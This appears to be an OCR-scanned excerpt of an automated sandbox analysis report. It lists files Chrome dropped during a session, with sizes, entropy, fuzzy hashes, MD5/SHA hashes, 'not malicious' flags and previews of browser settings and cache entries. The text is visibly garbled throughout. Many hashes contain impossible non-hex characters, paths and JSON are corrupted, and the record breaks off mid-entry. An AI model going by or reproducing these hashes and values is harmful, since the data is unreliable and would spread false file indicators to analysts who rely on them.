6FDIBFFA76AB12DE622A2BA7F5688F44

5C25A3EB2BA748FF9CB8C18COAFA057CEFBOEC3D
O0F51C4457E8356B2371C8017C9B1FF5F06CBOCE18CE4F722DB158B2F53A59760
1E95F53B6A0BD9895E233287828A5F0ABAG7BFOCB677D77A08767A336C713051C0F61EC2C082COBCA7D67DB418B69DA31227FADDE9423D6A7C11656595385E0
false

low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.620880427930009e+12,"network":1.62084803e+12,"ticks":110903550.0,"uncertainty":4818404.0}},"os_crypt":{"encrypted_key":"RFB
BUEKBAAAAOQlyd3wEVORGMegDAT8KX6WEAAADSYRpYXHTVR0045wUdDOXCAAAAAAIAAAAAABBMAAAAAQAAIAAAABLbexqB/OEXTFIMPCENOVX+bVETIkvicZM
f30IBvp2bAAAAAABAAAAAAJGAAIAAAAADIGGQLQMHYGBYMKKDuUdOpZA89StPbsfruagqGAbNSOMAAAALDWaloNNJIZN9rwnlUg/XLN9khJ9JzO9md9VO4rX+Yg+
g8mRS88ENIg3B2TpBY YNjWKkAAAACdQYw45aj+S/8dGnDKVRWon1T/sv/0i6HXgLXg0l1kMUaef/c6zgkTQ7ehiG3nkSfg6dR/401ZLALr+MYbEZ2"},"password_manager":
{"os_password_blank":true,"os_password_last_changed":"13245951909706750"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\95d64371-b6ce-4861-972a-adalc888ee59.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

160508

6.0503926613865175

false
3072:MSKvLzMCF4+0Bz0sFSePkgVtuA7LA7bV/nYorVcl8XIssEIYTRI:MSIpVS0sB8grgbV/njhcl8II6RI
3682E54AD82B4A82BDFOBEB625370E89

19954A1F3946FA23421FC2B70DE756E5BC37D030
6CEFC71F49D77E8524BA998055F8770F7C930CB00BC803D7F89497D0369E5C8C

69EC4220279CEQ9ABA46EACCO51D37F50F33EAF711BF22EBO43ECA4EOF90DCA37E2D10BD4C9F26BDB20D5SFEE321FE81DF0565DF41E7111189CCF935C5C0876
A8

false

low
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\95d64371-b6ce-4861-972a-adalc888ee59.tmp

Preview:

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.620880427930009e+12,"network":1.62084803e+12,"ticks":110903550.0,"uncertainty":4818404.0}},"os_crypt":{"encrypted_key":"RFB
BUEKBAAAAOQlyd3wEVORGMegDAT8KX6WEAAADSYRpYXHTVR0045wUdDOXCAAAAAAIAAAAAABBMAAAAAQAAIAAAABLbexqB/OEXTFIMPCENOVX+bVETIkvicZM
f30IBvp2bAAAAAABAAAAAAGAAIAAAAADIGGQLQMHYGBYMKKDuUdOpZA89StPbsfruagqGAbBNSOMAAAALDWaloNNJIZN9rwnlUg/XLN9khJ9JzOmd9VO4rX+Yg+
g8mRS88ENIg3B2TpBY YNjWKkAAAACdQYw45aj+S/8dGnDKVRWon1T/sv/0i6HXgLXg0l1kMUaef/c6zgkTQ7ehiG3nkSfg6dR/401ZLALr+MYbEZ2"},"password_manager":
{"os_password_blank":true,"os_password_last_changed":"13245951909706750"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

120

3.254162526001658

false

3:FkXJFIsz6VVJIFIsz6VVJIFIsz6l:+rJsrsrld
E4C3A0CCEDB71D53052C719DE30FD750
C89D101217D4AA05ADICEFB24DB2037B3BCC630E
B9ABED457F567199890198C9CE3B20954C73C458014CEB77C5E4514B1A8D8BF9
D248EFCFA1BA3BA433A7A8D57B432F13D968DCF82A29535295BF03044982E69F441E6455EE7E6E7E4E902794B6D1BICDAACBCI92050B73062C0FDD33C4058034
false

moderate, very likely benign file

SAPC...oovve. @.*L.nM._bMSdPC........ccooo...c..... @.*L.nM._bMSAPC........ccooo..cc..... @.*.L.nM._bM

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\082d3550-76a6-48f0-be76-54b30bb9e679.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

3079

4.902109978994876

false

96:IDHXXOzftBj8Z4G5XH+y/SDjQG3GpGwhj:JDHXxOzfteZ4AGRH+kSDjQ68L
7193C7AFB5FBOB9AACDEB8A15D006E94
02B0319E5E49C3295E57414D6593945DCA5838EA
0C38E2B28677A4C37582314F9B077953D440EO0FE315792DDB03511456C5D332F
5AD0143D6A958FC84774FE10B7F700E9770F9ABEIFD55F941F26BD73AE26367999679F577E789B8E9683468C3538EC45E0CC098C436B35566B5FFF89A9768B3F

false

{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","s
upports_spdy":true},{"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolati
on":[],"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13267946028038914","port":443,"protocol_str":
"quic"}],"isolation™:[],"server":"https://accounts.google.com”,"supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13267946028160961",
"port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvtl.com”,"supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"132

67946028588398","port":443,"protocol_str":"quic"},{"advertised_versions":[50],"expiration":"13267946028588401","port":443,"protoco

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\0fe43e07-72aa-45bd-9c71-5446d45d43e6.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

modified

3110

4.902056528137359

false

96:IDHXXOzftBj8Z4G5XH+y/SaQG3GpG4G0hj:JDHXXxOzfteZAGRH+kSaQ68L 1
A53D5B0D14D012870937FB8627A8E97F
8AE99B3490642764F627AFAA661CA462D89AEAFL
02CB5F187BA19A88845618AC815703BACBOFC82083E1A2C25C9D25DD7273E89C
DEC4D6E5D06EE1CF362980FFB13723C05AC1EAE77498D2F74743CE51863F554B4172657F3C92C29DCF94E00CBFDOE353182E7FB91DA648D06DA78510277267E

false

{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://ogs.google.com”,"supports_spdy":true} {"isolation":[],"server":"https://apis.google.com”,"s

upports_spdy":true},{"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolati

on":[],"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13267946028038914","port":443,"protocol_str":
"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true} {"alternative_service":[{"advertised_versions":[50],"expiration":"13267946028160961",
"port":443,"protocol_str*:"quic"}],"isolation":[],"server":"https://redirector.gvtl.com","supports_spdy":true} {"alternative_service":[{"advertised_versions":[50],"expiration":"132

67946028588398","port":443,"protocol_str":"quic"},{"advertised_versions":[50],"expiration":"13267946028588401","port":443,"protoco

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\3973474e-fc2c-4c2f-883e-ee2b21453ce2.tmp

Process:

C:\Program Files\Google\Chrome\Application\chrome.exe
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\3973474e-fc2c-4c2f-883e-ee2b21453ce2.tmp

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

ASCII text, with very long lines, with no line terminators

dropped

5833

5.188645006911107

false

96:nC3hiGjL2dcNYVvOik0OICSERBYRWL81bOTQVuwn:nmhj2deYok4D/YYu
60F395F70F1FFF4AC781083F4725ED861
35DA459DB663836DDD24715AA98F1334396BDE2D
AC829EA2DC2102C0D8406F4C707F1240B36DFF5673BES615642EF67215349BED

F1E89AAE91CC7B1062E64DB2C324BA0ACCD5C4182889580075CE31552559D1D15C82F999E859F27EE3671A5E7B7ESEQAF4AFF1B5BD0D4D5249B8E42797F2E2]
9

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13265354025024061","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245952329814949","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245952502420488","has_seen_welcome_page":true,"navi_onboard_group":","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0' o","0","0","0","0"
,'o","o","o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\8e213a7{-f07f-4ffb-ad8b-9900274feala.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

6089

5.1889713082256534

false
96:nC3hXctjL2dcNYVvmik0OJCSERkebRBYRWL8DbOTQVuwn:nmhc2deYwk4Dj/YYA
397D8A5DF04387F773BD059C3E54CF66
02F6FFA8881ED26310D346C60A2D77475A7302E8
173FE62AEBF1C94E8AAC56F322B2AA471773C970866A8EIB7F5FCC7052454BF6

EEA5ADE16C18A46DA1EC7BADB2CB3CE4B7C41734812DA65A3A1EFS5D21E42AF518200CEA491A8457CAEFD8F50C60F19912312674205ADFE31C36143B9E02C5(
97

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13265354025024061","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245952329814949","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245952502420488","has_seen_welcome_page":true,"navi_onboard_group":","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length™:["0","0","0","0","0","0","0","0","0","0" "o","0","0","0","0","0","0","0","0","0","0","0'
,'o","o","o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355952"],"daily_received_length":["0

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\929d776c-2bf3-483c-bc90-5e432b947052.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

24055

5.534007157440558

false
384:qPPtwkLIDpXN1kXqKf/pUZNCgVLH2HfDYrULHG5HG5nTDZpx4SC:cLIBN1kXKf/pUZNCgVLH2HfGrUbGdGQ
DD68077BE7035C6071A54BCA54DA40F3

FB510AB2BC8C116D0A441BEA6140208B4C135A1D
9248680B83DBD0OF03B98D53D41C60B0224427DF4E7802715BEDOF82420E738BF
E84AC45C6A27396DA1BC4D557B51720585B63F0831C5AA085FAED8BC619DCCC67692484F281EBI8BE7A2A840966452059CC11C831AC57F27603D42DB2BC70D!

false

{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","sy
stem.cpu”,"system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[1,"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13265354024679965","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGIMAOGCSqGSIb3DQEBAQUAA4GNADCBIQKBgQCt
13tO00sjuzRsfExtD2SKxPITfuoy7AWoObysitBPVH5fE1INaAAL/2JkPWkVDhdLBWLalBPYeXbzIHp3y4Vv/4XG+aN5qFE3z+1RU/NgkzVYHtlpVScf3DjTYtKVL66mzVG

ijSOAIWbFCC3LpGdaoe6Q1rSRDp76wRG6jjFzsYWQIDAQAB","name":"Web Store","pe

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\94948f38-5d4b-4220-a289-24986f01d1ec.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text, with very long lines, with no line terminators
dropped

6063

5.187220493002409
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\94948f38-5d4b-4220-a289-24986f01d1ec.tmp

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

false
96:nC3hXcGjL2dcNYVvmik0OJCSERkebRBYRWL81bOTQVuwn:nmhl2deYwk4Dj/YYu
84C31D22DB60ESE9D1235318ECD5A241
E08D7C958F5AB346AE189E1A2997D8D2AF5B0228
604F2811FOAFE811E2ADECDICFA48901D0E76858E797AB2338B168135E045012

737F538EC7CBES5A86A6A288A54E8B2ES56EDS5F2025D469EFDD440CA84B92781D0C06F91884BFG63BEC2440C5E2738E8399C0A351C510028E591EAAB198A15FAL
A

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13265354025024061","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245952329814949","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245952502420488","has_seen_welcome_page":true,"navi_onboard_group":","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length™:["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","
,'o","o","0","0","0","0","0","0","0","0","0","0","0","0","0","0 ,'o","o","0","0","0","0","0","0","0","0","0","0","7355952"],"daily_received_length™:["0","0","0","0","0","0","0","

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\96516e36-6bca-4c17-bcdd-989bc104135b.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

16745

5.577864100979416

false
384:qPP/KLIDpXN1kXgKf/pUZNCgVLH2HDYruUuz/x4nY:PLIBN1kXqKf/pUZNCgVLH2HfGrUixOY
5D7E91397492072BA10FEE28F60E5532

87390D67180F4D1D60EDE1B82B6D2014354F5AC2
9A86511CCCO1042FF3A15EC54D2AA9BBB042014189DEGF4BABIB50826E3640CA

09FC36E1748487A969ACBF90B19963B20F00B0B1C2125BBB446170CBCF5B6D10256FF247B977ES8BECCIBC292D9E46EA55F495BD468F2287AC1ED6CD1BEDD2F
F2

false

{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","sy
stem.cpu”,"system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[1,"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13265354024679965","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGIMAOGCSqGSIb3DQEBAQUAA4GNADCBIQKBgQCt
13tO00sjuzRsf6xtD2SKxPITfuoy7AWoObysitBPVH5fE1INaAAL/2JkPWkVDhdLBWLalBPYeXbzIHp3y4Vv/4XG+aN5qFE3z+1RU/NgkzVYHtlpVScf3DjTYtKVL66mzVG

ijSOAIWbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYWQIDAQAB","name":"Web Store","pe

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\9730b644-9f72-4498-89d9-9c49f7a7cf8f.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

22595

5.536229101063559

false
384:qPPtwkLIDpXN1kXqKf/pUZNCgVLH2HfDYrUXHG6NnTDZdx4x:cLIBN1kXqKf/pUZNCgVLH2HfGrU3G6n0
956A4A6EDF7A4CD628CBEA2432BD3774

B1834B4848612CCF93017BB839A8608620C2946B
CE5A7D99A94EBFECFFA9642E500F1D0A2528075362573FB53D6208D9B62B96CA
378AC3F52C6CDC34B69D62402B7E881CF47C7E605484C06347B29F3D267F5BIFBDEDC1A44C6E10CC5763A27259FC7285E73672340C8A6204F30E4EFCA412168

false

{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal "commands":{},"content_settings":[],"creation_flags":1,"events":
[1,"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13265354024679965","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGIMAOGCSqGSIb3DQEBAQUAA4GNADCBIQKBgQCt
13tO00sjuzRsféxtD2SKxPITfuoy7AWoObysitBPVH5fE1INaAAL/2JkPWkVDhdLBWLalBPYeXbzIHp3y4Vv/4XG+aN5qFE3z+1RU/NgkzVYHtlpVScf3DjTYtKVL66mzVG

ijSOAIWbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYWQIDAQAB","name":"Web Store","pe

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\9e56dad4-c724-4d76-8c97-b85764792fa8.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Program Files\Google\Chrome\Application\chrome.exe
very short file (no magic)

dropped

1

0.0

false

3:L:L

5058F1AF8388633F609CADB75A75DC9D
3A52CE780950D4D969792A2559CD519D7EE8C727
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\9e56dad4-c724-4d76-8c97-b85764792fa8.tmp

SHA-256:
SHA-512:

Malicious:

Preview:

CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CCO9EBC2A07E61F007BAF58FBF94FF9A8695BDDSCAE7CEO3BBF1E94E93613A00F2¢
F21

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

342

5.204918661631082

false
6:mXleq2PcNwi23iKKAKIRXXTZIFUtp8BZmwP8iXFkwOCcNwi23iKKdKIRXX5LJ:slevLZ5Kk7XT2FUtp8B/P8+F54Z5Kk73
4E115684B45BF7C52EA35BB3FB377574

C2C66EF7B255E1A658C1B29BD9B1EB4086B7B905
17CD86EF032DE65F5B8EBA032EDC89EFBC8139FD573E2F366ED46AD3685101D6

C9E15F8DA3F28C949F94EDOD43C64D2ABF82D462278C7D8A3AEB4341F727BEA9C6AA6822910C4C26A289CCELIFO9FE4CCF87F03F810CES9BBACD78546E3978¢
4

false

2021/05/12-21:34:02.237 16c0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2021/
05/12-21:34:02.238 16¢0 Recovering log #3.2021/05/12-21:34:02.239 16¢c0 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrik
eDatabase/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

326

5.16580595792911

false
6:mXeq2PcNwi23iKKdKyDZIFUtp8UXXZmwP8wOkwOcNwi23iKKdKyJLJ:sevLZ5Kk02FUtp8Un/P8wO54Z5KkWJ
433F88E43D832DBE6F661EFAOFBIC8B0O

504965DFCEEF2B77AFB54180D9348AB0A969BCB1
AB880412B422B799D4B603BFD70B85023E6C1202C0385E07C39B08SE641A69AAD3
8D34FC8B01748EA1A3A052A8E5028A099479087ADA20412BD57410143B6366DBC607FD882C76D1B8225536D75531CD871B6CFBO4EFD489B7FF21A6E851979FAE

false

2021/05/12-21:34:02.232 16c0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2021/05/12-21
:34:02.233 16¢0 Recovering log #3.2021/05/12-21:34:02.234 16c0 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatab
ase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\602f5f874f3385c7_0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

241

5.587627278672054

false

6:mBYy6EYGLKAXNQKH8KtRuU9YdQXIg8+4bthK6t:2bhNQKH8Kt80QXIg8+y1
ABFA9IAC5BBCA2C083707D85AA623B4D8
F25548617C9994C532A063CE8D4110F5D8E60743
BO3F772E75582B86DCF511F3E2BBF1FB62CCBEA515FA2B303159E40E5AA2A4B3

623FF2E776CEC12B6CD41597A2CA32FAA469AEAEDBDAGCSEB52B378C96188ADC2A0C18C3E6GB6ASB488FAAI8CAAFDBF87768C6D5DD8C4457869D6026BED48
BC1

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\91be9c6b8d3150fe_0

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Program Files\Google\Chrome\Application\chrome.exe
data

dropped

252

5.564703650348043
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\91be9c6b8d3150fe_0

Encrypted: false

SSDEEP: 6:mktVYGLKAXNQKH8KtcmEOCY Dtcw8a900gK4jK6t:chNQKH8KtKYtr198B

MD5: C531ACE3242E72CE00C60F423D31F83A

SHA1L: C2F985BA4721771B0DA41A22F96481C3B2BE1251

SHA-256: 77E12CDC8A8195F012642D5C68DOEO3A7A3B7AA4775A6B6A5212AC63ED189134

SHA-512: 854CAA9407DDFA21477DEF0B3672DE560179ACFAB4355D6ED371E1IAE9CCEEC8C59FA7ALF98EB1B144025A121346510E03218EABA08A288B8781B4B068A06BD
9C

Malicious: false

Preview:

O\r..m......x....h......_keyhttps://www.gstatic.com/recaptcha/releases/npGaewopg1UaB8CNtYfx-ylj/recaptcha__en.js .https://kristenbakercoach.com/8&... /..................
Ll i 1 TZNWOLALEO. ALEO..coiii

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cachel\js\e222f00a6abb9a7f 0

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 194

Entropy (8bit): 5.476878563958069

Encrypted: false

SSDEEP: 6:mgYe4HWMPZZqYTL1YLQIintMC+4LI/bK6t:r4/xg+ycJl

MD5: D6AB08088BF234A61422B3E410DE5901

SHA1L: 36DFC5EBFA313EF76F5D3BC43469241686D0EF51

SHA-256: A4AC3F53502B9DE72783F442155FAEFEEEAE63025336E7C263426394C26C01C1

SHA-512: 8D5A0E260824F4DD4D33559D144252C506290789AD0319AF01F58535C3F787EBFF5AAC6B5B6BB6DB72AF78C1E9EBCE94F13F8F2FFA45A127F1FCD74BI9BCEFL:
7

Malicious: false

Preview:
O\r.m.....>.....%....._keyhttps://code.jquery.com/jquery-3.5.1.js .http://rwbdg.com/..... /............. N W.~.9....c....)...._D..A.Eo0.....4%7.......... ALEO..ccoii

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cacheljs\index-dir\temp-index

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data
Category: dropped
Size (bytes): 216
Entropy (8bit):  4.764531842437531
Encrypted: false
SSDEEP: 3:VDNAyxI/lleldimfYI9DOFmpGI8/keXBS5GICe/lllKMe/lllcH3tBCZqBiaTKI:hNA4Y3AmzkexSYHeRe6dMci+KI
MD5: AAB08810BA3194D197601096F34DA865
SHA1L: C3E5B6CDE742E7ADDE1D6E7E68608143785ACA06
SHA-256: CEO0506BFO0CCCOAEDOA99C307D8B8982C0OBDF37CA832C49AA6D658E347507544
SHA-512: A51FDC517A87057EDC66BE7395B5386DAED82B5C0D7D972F5BDBEACACC5751D840C581FCI9DBD46D56AEESCDESE71EB87CF3DC42993F8194658191DEA7BAL
AE6B
Malicious: false
Preview:
....P=".0y retne... ..30._/r... L3S
C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Cookies
Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: SQLite 3.x database, last written using SQLite version 3032001
Category: dropped
Size (bytes): 12288
Entropy (8bit):  1.217670931787582
Encrypted: false
SSDEEP: 24:TLygJLbXaFpEO5bNmMISHN06UwemZgsbOhp+EYD5j+LEYYQTLpyT:TekLLOpEO5J/Kn7U12Qhpz5gY pfpi
MD5: BEAC1B5B8F54800B52374B4EE3ABECDS
SHA1L: 424A3A4D58FC26AF127441A247CAF51668585AD3
SHA-256: 773FB2B1D91B50AD7BBC5C56571BC9A0F3F67413D53DC833C17DF2647646876E
SHA-512: A8DAF82D834E17494057B82146C4933F47186E7122AAFF764E288F07F55B7B3BB394BEAEBD103E3598BC13F137A437E09512CCF00021CDB0958C1D76819BB039
Malicious: false
Preview:
SQLite fOrmat 3......@ .ovveeieeieeeeeie e Coveen Lo T T PSSP PR UP PSPPI

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Cookies-journal
Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Cookies-journal

Category: dropped

Size (bytes): 12836

Entropy (8bit): 0.9687120015248234

Encrypted: false

SSDEEP: 24:A2+tYeF9fqLbJLbXaFpEO5bNmMISHNO6UwW08:A2UYe7q5LLOpEO5J/Kn7Ur8

MDS5: F59F9D1CB17870DB683103B4F22EB173

SHA1L: AE07366E04FF049A50A0E3A0C49DBID8B1F2F4D7

SHA-256: D439FD3FBC0601F233CDD7B31E920690D505D6BB545A3989AFCD85A501A53031
SHA-512: 3E9A3C16EE516D42AE1C0446FF284A142B03FB63BC49049C41F08B46ADD8194B9E3FC5D24A21D71702AC767E80775653DA9C365E26F3B24D94C9878FOF1EBGC
Malicious: false

Preview:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Session

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data
Category: dropped
Size (bytes): 15519
Entropy (8bit):  3.9282283501563726
Encrypted: false
SSDEEP: 384:hGDc1Bf1Bz/8uLOLq1Bkt1Bz/8uLO01BkR1BMNBMK4VQ:hbPWuULOLOynWuLOoyTGoKr
MD5: BC87BD549BB79D269C7F3A836A0F9FAE
